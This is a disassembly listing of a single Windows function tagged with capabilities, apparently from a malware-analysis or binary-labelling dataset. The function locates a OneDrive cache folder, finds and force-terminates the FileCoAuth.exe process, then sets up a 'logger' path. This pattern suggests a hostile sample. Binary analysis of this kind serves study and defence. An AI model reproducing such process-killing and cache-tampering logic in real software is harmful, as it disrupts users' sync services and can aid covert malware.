Function at 0x10004560
Capabilities:
Enumerate processes
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10009aa6
mov eax, dword fs:[0]
push eax
sub esp, 0x2d0
mov eax, dword [0x1000f008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x78]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x1000a260
mov dword [ebp - 0x78], 0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov edx, dword [ebp - 0x78]
mov ecx, edx
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100045d0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.100036d0
mov byte [ebp - 4], 1
push dword [ebp - 0x78]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x2c4]
call fcn.10002fd0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x10004644
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000463a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000463a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10008a0a
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x2b0]
mov eax, edx
mov ecx, dword [ebp - 0x2b4]
sub eax, ecx
push 0x19
push str.MicrosoftOneDrivecache
cmp eax, 0x19
jb 0x100046a8
cmp edx, 0x10
lea esi, [ebp - 0x2c4]
lea eax, [ecx + 0x19]
cmovae esi, dword [ebp - 0x2c4]
add esi, ecx
mov dword [ebp - 0x2b4], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x19], 0
lea eax, [ebp - 0x2c4]
jmp 0x100046c2
mov byte [ebp - 0x2a8], 0
lea ecx, [ebp - 0x2c4]
push dword [ebp - 0x2a8]
push 0x19
call fcn.100025d0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x34], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x2b0]
cmp ecx, 0x10
jb 0x10004739
mov edx, dword [ebp - 0x2c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000472f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000472f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10008a0a
add esp, 8
mov byte [ebp - 0x2a8], 0
lea edx, [ebp - 0x44]
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
call fcn.10004d50
add esp, 4
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 5
call fcn.10007d30
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x18]
mov byte [ebp - 0x2a9], al
cmp ecx, 8
jb 0x100047c7
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100047b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100047b7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10008a0a
mov al, byte [ebp - 0x2a9]
add esp, 8
test al, al
je 0x1000491b
push 0
push 2
mov dword [ebp - 0x2a4], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x2a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x10004897
lea eax, [ebp - 0x2a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x10004897
nop dword [eax]
nop word [eax + eax]
mov ecx, str.FileCoAuth.exe
lea eax, [ebp - 0x280]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x10004856
test dx, dx
je 0x10004852
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x10004856
add eax, 4
add ecx, 4
test dx, dx
jne 0x10004830
xor eax, eax
jmp 0x1000485b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10004884
push dword [ebp - 0x29c]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10004884
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x10004820
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 4
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call esi
mov byte [ebp - 0x2a8], 0
lea edx, [ebp - 0x44]
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x2c]
call fcn.10004d50
add esp, 4
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.100067a0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x10004921
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000490f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000490f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10008a0a
add esp, 8
jmp 0x10004921
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push str.logger
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x5c]
call fcn.10002360
add esp, 4
mov byte [ebp - 4], 9
lea edx, [ebp - 0x5c]
mov byte [ebp - 0x2a8], 0
lea ecx, [ebp - 0x2dc]
push dword [ebp - 0x2a8]
call fcn.10004d50
add esp, 4
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 0xa
call fcn.10005480
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 8
jb 0x100049ab
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100049a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100049a1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10008a0a
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x5c]
mov ecx, esp
push eax
call fcn.100028a0
lea ecx, [ebp - 0x74]
call fcn.10003cb0
add esp, 0x18
sub esp, 0x18
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x74]
mov ecx, esp
push eax
call fcn.100028a0
call fcn.10003a50
add esp, 0x18
push 0x3e8
call esi
sub esp, 0x18
lea eax, [ebp - 0x5c]
mov ecx, esp
mov dword [ebp - 0x2a8], esp
push eax
call fcn.100028a0
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x74]
mov ecx, esp
push eax
call fcn.100028a0
mov byte [ebp - 4], 0xb
call fcn.10004340
mov ecx, dword [ebp - 0x60]
add esp, 0x30
cmp ecx, 0x10
jb 0x10004a4b
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004a41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004ac5
push ecx
push edx
call fcn.10008a0a
add esp, 8
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
cmp ecx, 0x10
jb 0x10004a8d
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004a83
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004ac5
push ecx
push edx
call fcn.10008a0a
add esp, 8
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
cmp ecx, 0x10
jb 0x10004ad5
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004acb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10004acb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10008a0a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100086bf
mov esp, ebp
pop ebp
ret